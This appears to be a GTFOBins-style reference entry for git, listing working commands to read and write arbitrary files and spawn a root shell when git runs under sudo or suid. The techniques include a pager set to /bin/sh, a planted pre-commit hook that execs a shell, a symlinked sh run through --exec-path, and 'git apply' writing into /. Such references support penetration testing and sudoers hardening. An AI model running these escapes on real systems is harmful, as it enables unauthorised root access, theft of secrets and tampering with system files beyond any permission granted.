git
File Read
Context: sudo, suid, unprivileged
git diff /dev/null /path/to/input-file
File Write
Context: sudo, suid, unprivileged
git apply --unsafe-paths --directory / x.patch
Inherit
Context: sudo, unprivileged
git help config
Context: sudo, unprivileged
git branch --help config
!/bin/sh
Shell
Context: sudo, unprivileged
PAGER='/bin/sh -c "exec sh 0<&1"' git -p help
Context: sudo, unprivileged
git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x
Context: sudo, suid, unprivileged
ln -s /bin/sh git-x
git --exec-path=. x